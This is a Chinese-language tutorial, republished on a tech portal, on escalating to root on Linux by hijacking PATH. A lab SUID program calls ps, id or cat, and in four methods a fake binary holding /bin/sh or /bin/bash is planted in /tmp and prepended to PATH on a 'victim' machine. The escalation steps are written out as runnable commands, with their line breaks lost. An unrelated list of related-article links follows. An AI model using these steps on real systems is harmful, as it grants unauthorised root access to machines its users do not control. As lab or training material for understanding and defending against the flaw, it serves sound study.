如何使用环境变量进行Linux提权的方法详细资料概述

马哥Linux运维 2018-07-05 09:50 次阅读

在这篇文章中,我将会为大家介绍一些使用环境变量进行Linux提权的方法,包括在CTF challenges中使用到一些的技术。话不多说,让我们进入正题!

介绍

PATH是Linux和类Unix操作系统中的环境变量,它指定存储可执行程序的所有bin和sbin目录。当用户在终端上执行任何命令时,它会通过PATH变量来响应用户执行的命令,并向shell发送请求以搜索可执行文件。超级用户通常还具有/sbin和/usr/sbin条目,以便于系统管理命令的执行。

使用echo命令显示当前PATH环境变量:

echo $PATH

/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

如果你在PATH变量中看到‘.’,则意味着登录用户可以从当前目录执行二进制文件/脚本,这对于攻击者而言也是一个提权的绝好机会。这里之所以没有指定程序的完整路径,往往是因为编写程序时的疏忽造成的。

方法1

Ubuntu LAB SET_UP

当前,我们位于/home/raj目录,我们将在其中创建一个名为/script的新目录。在script目录下,我们将编写一个小型的c程序来调用系统二进制文件的函数。

pwdmkdir scriptcd /scriptnano demo.c

如何使用环境变量进行Linux提权的方法详细资料概述

正如你在demo.c文件中看到的,我们正在调用ps命令。

然后使用gcc编译demo.c文件,并提升编译文件的SUID权限。

lsgcc demo.c -o shellchmod u+s shellls -la shell

受害者VM机器

假设我们已经成功渗透目标,并进入提权阶段。我们通过ssh成功登录到了受害者的机器。然后使用Find命令,搜索具有SUID或4000权限的文件。

find / -perm -u=s -type f 2>/dev/null

通过上述命令,攻击者可以枚举出目标系统上所有的可执行文件,这里可以看到/home/raj/script/shell具有SUID权限。

进入到/home/raj/script目录,可以看到该目录下有一个可执行的“shell”文件,我们运行这个文件。

/home/raj/script

Echo命令

cd /tmpecho “/bin/sh” > pschmod 777 psecho $PATHexport PATH=/tmp:$PATHcd /home/raj/script./shellwhoami

Copy命令

cd /home/raj/script/cp /bin/sh /tmp/psecho $PATHexport PATH=/tmp:$PATH./shellwhoami

Symlink命令

ln -s /bin/sh psexport PATH=.:$PATH./shellidwhoami

注意:符号链接也叫软链接,如果目录具有完全权限,则它将成功运行。在Ubuntu中symlink情况下,我们已经赋予了/script目录777的权限。

因此,攻击者可以操纵环境变量PATH来进行提权,并获得root访问权限。

方法2

Ubuntu LAB SET_UP

重复上述步骤配置你的实验环境,现在在脚本目录中,我们将编写一个小型的c程序来调用系统二进制文件的函数。

pwdmkdir scriptcd /scriptnano demo.c

正如你在demo.c文件中看到的,我们正在调用id命令。

然后使用gcc编译demo.c文件,并提升编译文件的SUID权限。

lsgcc demo.c -o shell2chmod u+s shell2ls -la shell2

受害者VM机器

同样,假设我们已经成功渗透目标,并进入提权阶段。我们通过ssh成功登录到了受害者的机器。然后使用Find命令,搜索具有SUID或4000权限的文件。在这里,我们可以看到/home/raj/script/shell2具有SUID权限。

find / -perm -u=s -type f 2>/dev/null

进入到/home/raj/script目录,可以看到该目录下有一个可执行的“shell2”文件,我们运行这个文件。

cd /home/raj/scriptls./shell2

Echo命令

cd /tmpecho “/bin/sh” > idchmod 777 idecho $PATHexport PATH=/tmp:$PATHcd /home/raj/script./shell2whoami

方法3

Ubuntu LAB SET_UP

重复上述步骤配置你的实验环境。正如你在demo.c文件中看到的,我们正在调用cat命令从etc/passwd文件中读取内容。

然后使用gcc编译demo.c文件,并提升编译文件的SUID权限。

lsgcc demo.c -o rajchmod u+s rajls -la raj

受害者VM机器

同样,假设我们已经成功渗透目标,并进入提权阶段,通过执行以下命令查看sudo用户列表。

find / -perm -u=s -type f 2>/dev/null

在这里,我们可以看到/home/raj/script/raj具有SUID权限,进入到home/raj/script/目录,可以看到该目录下有一个可执行的“raj”文件。所以当我们运行这个文件时,它会把etc/passwd文件作为输出结果。

cd /home/raj/script/ls./raj

Nano**编辑器**

cd /tmpnano cat

现在,当终端打开时输入/bin/bash并保存。

chmod 777 catls -al catecho $PATHexport PATH=/tmp:$PATHcd /home/raj/script./rajwhoami

方法4

Ubuntu LAB SET_UP

重复上述步骤配置你的实验环境。正如你在demo.c文件中看到的,我们正在调用cat命令读取/home/raj中的msg.txt中的内容,但/home/raj中并没有这样的文件。

然后使用gcc编译demo.c文件,并提升编译文件的SUID权限。

lsgcc demo.c -o ignitechmod u+s ignitels -la ignite

受害者VM机器

同样,假设我们已经成功渗透目标,并进入提权阶段,通过执行以下命令查看sudo用户列表

find / -perm -u=s -type f 2>/dev/null

在这里,我们可以看到/home/raj/script/ignite具有SUID权限,进入到/home/raj/script目录,可以看到该目录下有一个可执行的“ignite”文件。所以当我们运行这个文件时,它会报错“cat: /home/raj/msg.txt”文件或目录不存在。

cd /home/raj/scriptls./ignite

Vi编辑器

cd /tmpvi cat

现在,当终端打开时输入/bin/bash并保存。

chmod 777 catls -al catecho $PATHexport PATH=/tmp:$PATHcd /home/raj/script./ignitewhoami

如何使用环境变量进行Linux提权的方法详细资料概述

热门推荐

原文标题:黑客的Linux神技能:使用环境变量进行提权

文章出处:【微信号:magedu-Linux,微信公众号:马哥Linux运维】欢迎添加关注!文章转载请注明出处。

收藏 人收藏
分享:

评论

相关推荐

MY-8188EUS Linux-3.0.35 WIFI User Guide

发表于 07-18 09:59 75次 阅读
MY-8188EUS Linux-3.0.35 WIFI User Guide

双网卡时,SSH连接不上无线网卡?

发表于 07-18 08:39 62次 阅读
双网卡时,SSH连接不上无线网卡?

用命令行敲入命令: ls -l | grep file 运用所学知识,编程实现上述命令的效果

发表于 07-17 20:18 95次 阅读
用命令行敲入命令:  ls -l | grep file 运用所学知识,编程实现上述命令的效果

UnionFS有什么用?AUFS的一些特性

历史上,有一个叫Knoppix的Linux发行版,其主要用于Linux演示、光盘教学、系统急救,以及....

的头像 Linuxer 发表于 07-17 18:12 62次 阅读
UnionFS有什么用?AUFS的一些特性

废弃不用的旧电脑还有什么作用?旧电脑的新玩法

IT业界的发展使得数年之前的电脑不管是性能还是功能都已经落后于主流,大部分都已经被用户转给了回收行业....

的头像 单片机精讲吴鉴鹰 发表于 07-17 15:59 118次 阅读
废弃不用的旧电脑还有什么作用?旧电脑的新玩法

支持Linux系统的纬图新产品纬图HOLLONG BLE SNIFFER的详细资料

1。 BLE4.0/4.1/4.2 支持(标准BLE4.2 数据长包抓取,MTU=251,一个PDU....

的头像 纬图物联 发表于 07-17 09:45 76次 阅读
支持Linux系统的纬图新产品纬图HOLLONG BLE SNIFFER的详细资料

MY-8188EUS Linux-4.1.15 Host-AP User Guide运行开发环境介绍

发表于 07-16 17:32 118次 阅读
MY-8188EUS Linux-4.1.15 Host-AP User Guide运行开发环境介绍

如何在Linux下用C语言最基本的程序开发与调试的详细概述

1.建一个目录 2.写代码,建一个hello.c文件

的头像 C语言专家集中营 发表于 07-16 17:02 130次 阅读
如何在Linux下用C语言最基本的程序开发与调试的详细概述

在Linux上什么是段错误?如何获得一个核心转储?

我最终只是跳过了 apport,并把 kernel.core_pattern 重新设置为 sysct....

的头像 Linux爱好者 发表于 07-16 16:53 137次 阅读
在Linux上什么是段错误?如何获得一个核心转储?

共享内存IPC原理,Linux进程间如何共享内存?

共享内存是在内存中单独开辟的一段内存空间,这段内存空间有自己特有的数据结构,包括访问权限、大小和最近....

的头像 马哥Linux运维 发表于 07-16 13:43 199次 阅读
共享内存IPC原理,Linux进程间如何共享内存?

Linux系统中的实时调度器DL调度器的原理是什么?详细概述

实时系统是这样的一种计算系统:当事件发生后,它必须在确定的时间范围内做出响应。在实时系统中,产生正确....

的头像 Wildesbeast 发表于 07-16 11:00 116次 阅读
Linux系统中的实时调度器DL调度器的原理是什么?详细概述

Raspberry Pi 开发板优化设计

发表于 07-16 09:54 260次 阅读
Raspberry Pi 开发板优化设计

联想声明一直支持国产操作系统发展

据消息报道,针对网传的国产操作系统投票事件,联想集团昨日晚间发布声明称:“联想集团过去、现在、将来都....

的头像 EETOP 发表于 07-16 09:39 180次 阅读
联想声明一直支持国产操作系统发展

物联网并不像你想象的那么安全

2018 年 6 月 27 日,中国移动、中国电信、中国联通、AT&T、沃达丰、德国电信、阿联酋电信....

的头像 重庆物联网 发表于 07-13 16:37 421次 阅读
物联网并不像你想象的那么安全

可分析有机液体和固体的近红外线光谱仪技术参考资料及物料清单下载

发表于 07-13 13:56 18次 阅读
可分析有机液体和固体的近红外线光谱仪技术参考资料及物料清单下载

MATLAB R2018a Linux官方试用软件免费下载

  matlab r2018a是一款经典好用的商业数学软件,新版包含更多数据分析、机器学习和深度学习....

发表于 07-12 17:12 19次 阅读
MATLAB R2018a Linux官方试用软件免费下载

MATLAB R2018a Linux最新完整版软件免费下载

 matlab r2018a是一款经典好用的商业数学软件,新版包含更多数据分析、机器学习和深度学习选....

发表于 07-12 17:08 23次 阅读
MATLAB R2018a Linux最新完整版软件免费下载

嵌入式Linux系统从软件的角度看通常可以分为几个层次?

每种不同的 CPU 体系结构都有不同的 Boot Loader。有些 Boot Loader 也支持....

的头像 嵌入式ARM 发表于 07-12 11:20 230次 阅读
嵌入式Linux系统从软件的角度看通常可以分为几个层次?

优质视频教程,免费观看,快乐学习

发表于 07-12 09:13 134次 阅读
优质视频教程,免费观看,快乐学习

Linux虚拟机上安装Xilinx petalinux2015.4版本详细步骤

首先是“管理”-》“全局设定”-》“常规”-》默认虚拟电脑位置:选择一个专门用来放置虚拟机的位置,并....

发表于 07-12 08:45 69次 阅读
Linux虚拟机上安装Xilinx petalinux2015.4版本详细步骤

东进统一安全认证平台 安全服务需持续更新

随着物联网、金融科技的快速发展,数据安全、服务授权和身份认证等过程面临更大的挑战。

的头像 CTI论坛 发表于 07-11 16:09 224次 阅读
东进统一安全认证平台 安全服务需持续更新

LINUX是什么?LINUX运行所需的硬件/软件

LINUX会发展成为一个自给自足的系统,现在需要Minix-386才能正常运行。你需要Minix让初....

的头像 Linux爱好者 发表于 07-11 15:32 170次 阅读
LINUX是什么?LINUX运行所需的硬件/软件

虚拟机和容器,你应该怎么选?

首先要了解的有关容器和虚拟机的一个事情是,一个运用于应用程序,另一个是为操作系统设计的。这就是为什么....

的头像 马哥Linux运维 发表于 07-11 10:17 223次 阅读
虚拟机和容器,你应该怎么选?

关于Linux的特点析以及在嵌入式操作系统中的应用详解

本文分析了Linux的特点,稳健性和局限性以及最重要的实时领域的应用。过去,因为非PC的嵌入式硬件....

发表于 07-10 15:05 62次 阅读
关于Linux的特点析以及在嵌入式操作系统中的应用详解

Linux Kernel 4.16系列停止维护,建议用户升级至 4.17

知名 Linux 内核维护人员兼开发人员 Greg Kroah-Hartman 近日在发布 4.16....

的头像 Linux爱好者 发表于 07-10 14:39 183次 阅读
Linux Kernel 4.16系列停止维护,建议用户升级至 4.17

如何在Linux中驱动Generic Timer

在单核时代,各个SOC vendor厂商购买ARM core的IP,然后自己设计SOC上的perip....

的头像 Linuxer 发表于 07-10 11:42 293次 阅读
如何在Linux中驱动Generic Timer

学习嵌入式有前途吗?

学习嵌入式有前途吗?很多计算机行业的人都有这个问题。在日益信息化的社会,计算机和网络已渗透到我们日常....

发表于 07-10 10:56 32次 阅读
学习嵌入式有前途吗?

嵌入式工程师的职业发展方向学习规划

嵌入式目前主要面向的几个操作系统是,LINUX,WINCE、VxWorks等等 Linux是开源免费....

发表于 07-10 10:56 44次 阅读
嵌入式工程师的职业发展方向学习规划

嵌入式的两大方向您了解吗?

嵌入式系统无疑是当前最热门最有发展前途的IT应用领域之一,它是各种电子产品的核心技术,也是工业4.0....

发表于 07-10 10:56 70次 阅读
嵌入式的两大方向您了解吗?

嵌入式系统发展前景好么?

嵌入式系统工程师机器语言程序员程序员嵌入式系统开发编程数据结构、内核操作系统

发表于 07-10 10:56 45次 阅读
嵌入式系统发展前景好么?

为什么要学嵌入式?学好嵌入式真的有发展前途吗?

1. IT行业在多年前就已经超越金融行业,成为平均薪资最高的行业,大家都纷纷开始想在IT行业谋得一席....

发表于 07-10 10:56 45次 阅读
为什么要学嵌入式?学好嵌入式真的有发展前途吗?

嵌入式linux学习步骤

1、Linux 基础安装Linux操作系统 Linux文件系统 Linux常用命令 Linux启动过....

发表于 07-10 10:56 45次 阅读
嵌入式linux学习步骤

新手学习嵌入式的十大“不要”

随着嵌入式逐渐走入我们的生活,越来越多的人加入了学习嵌入式的大军。但是,在学习嵌入式之前难免会有新手....

发表于 07-10 10:56 36次 阅读
新手学习嵌入式的十大“不要”

嵌入式开发与单片机开发有什么区别

1嵌入式开发就是设计特定功能的计算机系统,手机,mp3、mp4.mp5自动供水系统,洗衣机,油井监控....

发表于 07-10 10:56 40次 阅读
嵌入式开发与单片机开发有什么区别

爱特梅尔Linux Android生态系统工具

Atmel's Linux Android生态系统工具支持

的头像 Microchip视频 发表于 07-10 00:21 295次 观看
爱特梅尔Linux Android生态系统工具

嵌入式时代已经来临,嵌入式学习的方法你知道多少呢?

现在很多同学也意识到了学校培养模式和社会需求脱节问题,有一部分同学也先行行动起来,开始注重培养自己....

发表于 07-09 14:25 279次 阅读
嵌入式时代已经来临,嵌入式学习的方法你知道多少呢?

MY-8188EUS Linux-3.14.52 Test manual

发表于 07-09 14:03 183次 阅读
MY-8188EUS Linux-3.14.52 Test manual

Linux系统开机和启动过程

提起操作系统这个词,想必大家并不陌生,有电脑端操作系统和手机端操作系统。电脑端操作系统较为熟悉的就是....

发表于 07-09 11:53 135次 阅读
Linux系统开机和启动过程

嵌入式Linux工程师的学习发展步骤,如何测试工程师之间的区别

从嵌入式研发行业十年,认为学习就是要不断的吸纳知识,在研发过程中,经常会遇到一些问题,这种发现问题并....

的头像 传感器技术 发表于 07-09 11:37 184次 阅读
嵌入式Linux工程师的学习发展步骤,如何测试工程师之间的区别

怎么样在Linux和Windows之间共享文件?应该使用什么样的工具

用一些来自 Linux 社区的工具,在 Linux 和 Windows 之间共享文件是超容易的。让我....

的头像 Linux爱好者 发表于 07-09 10:57 267次 阅读
怎么样在Linux和Windows之间共享文件?应该使用什么样的工具

为什么要学习运维?来看美国运维的大数据报告了解运维行业的发展前景

这是第一份运维薪水调查报告,发现了一些有趣方面。比如说,运维专业人员不光对现状普遍感到满意,对于工作....

的头像 阿铭linux 发表于 07-09 10:52 189次 阅读
为什么要学习运维?来看美国运维的大数据报告了解运维行业的发展前景

linux目录结构

发表于 07-09 09:33 67次 阅读
linux目录结构

深入探究Linux的设备树

发表于 07-09 00:15 56次 阅读
深入探究Linux的设备树

Linux运维工作至少需要知道哪5点知识你知道吗?带你来了解

知乎上有这样一个问题:一个新手面试 Linux 运维工作至少需要知道哪些知识?其中有一个答案对这一话....

的头像 马哥Linux运维 发表于 07-06 14:57 393次 阅读
Linux运维工作至少需要知道哪5点知识你知道吗?带你来了解

97条Linux常用命令总结你了解多少啊看懂了你Linux就入门了

1.ls [选项] [目录名 | 列出相关目录下的所有目录和文件 -a 列出包括.a开头的隐藏文....

的头像 马哥Linux运维 发表于 07-06 14:53 352次 阅读
97条Linux常用命令总结你了解多少啊看懂了你Linux就入门了

grep常用用法,grep与正规表达式

但是第 18 行明明有 google 的 goo 啊~别忘记了,因为该行后面出现了 tool 的 t....

的头像 马哥Linux运维 发表于 07-06 11:14 236次 阅读
grep常用用法,grep与正规表达式

嵌入式Linux内核字符设备的详细资料概述

学内核不是为了吓唬人的,是为了掌握其原理,学习其技巧与方法,知其然而知其所以然,另外内核代码是具有一....

的头像 嵌入式ARM 发表于 07-06 09:57 280次 阅读
嵌入式Linux内核字符设备的详细资料概述

如何在Linux 中安装和使用 PacVim?

PacVim 的灵感来源于经典游戏 PacMan,它以一种好玩有趣的方式为你提供了大量的 Vim 命....

的头像 Linux爱好者 发表于 07-06 09:50 245次 阅读
如何在Linux 中安装和使用 PacVim?

怎么在8位AVR微控制器上运行Linux?

这是在8位的AVR微控制器上运行Linux的全过程,时间很长哦,大家可以跳着往后看。

的头像 Microchip视频 发表于 07-06 04:02 153次 观看
怎么在8位AVR微控制器上运行Linux?

来聊聊函数是怎么传入参数的

从图例中可以看出,当A函数没有调用B函数时,A函数的栈帧只保存着局部变量,而EBP(栈底指针)指向的....

的头像 嵌入式ARM 发表于 07-05 15:57 312次 阅读
来聊聊函数是怎么传入参数的

华为资深工程师:程序员与码农的差异在哪?

程序员不是码农,码农也不是真正的程序员。

的头像 嵌入式资讯精选 发表于 07-04 12:01 253次 阅读
华为资深工程师:程序员与码农的差异在哪?

快速了解Linux文件系统

早在 1996 年,在真正理解文件系统的结构之前,我就学会了如何在我崭新的 Linux 上安装软件。....

的头像 Linux爱好者 发表于 07-04 10:16 240次 阅读
快速了解Linux文件系统

嵌入式的两大发展方向与嵌入式工程师的学习方向

嵌入式系统无疑是当前最热门最有发展前途的IT应用领域之一,它是各种电子产品的核心技术,也是工业4.0....

发表于 07-03 09:46 99次 阅读
嵌入式的两大发展方向与嵌入式工程师的学习方向

ARM与嵌入式linux入门必须要进行的6个关键步骤快点来了解吧!

由于很多人总问这个问题,所以这里做一个总结供大家参考。这里必须先说明,以下的步骤都是针对Linux系....

的头像 嵌入式单片机 发表于 07-01 09:23 468次 阅读
ARM与嵌入式linux入门必须要进行的6个关键步骤快点来了解吧!

一文读懂Linux各模块框架

Linux各模块框架整理。

的头像 嵌入式资讯精选 发表于 06-30 11:27 1197次 阅读
一文读懂Linux各模块框架

关于ARM7与ARM9,uCOS与Linux的对比详解

Linux是一套免费使用和自由传播的类Unix操作系统,是一个基于POSIX和UNIX的多用户、多....

发表于 06-29 07:27 116次 阅读
关于ARM7与ARM9,uCOS与Linux的对比详解

Linux下软RAID实现方案

Raid大家都知道是冗余磁盘的意思(Redundant Arrays of Independent ....

的头像 Linux爱好者 发表于 06-28 16:13 291次 阅读
Linux下软RAID实现方案

Linux文件“哲学”是否与Windows相同呢?

“一切皆是文件”是Unix/Linux的基本哲学之一,目录、字符设备、块设备、套接字等在Unix/L....

的头像 ZLG致远电子 发表于 06-28 09:43 738次 阅读
Linux文件“哲学”是否与Windows相同呢?

Windows下linux权限管理问题解析

在Windows下,可以通过鼠标右击文件,在属性栏查看文件的权限。Linux下的文件“哲学”是否与W....

的头像 人间烟火123 发表于 06-27 17:24 680次 阅读
Windows下linux权限管理问题解析

windows和Linux程序员到底有没有区别?

Windows下面的程序基本都是封闭源代码的,特别是10年前,在Windows下可以说找不到可用的开....

的头像 马哥Linux运维 发表于 06-27 15:14 465次 阅读
windows和Linux程序员到底有没有区别?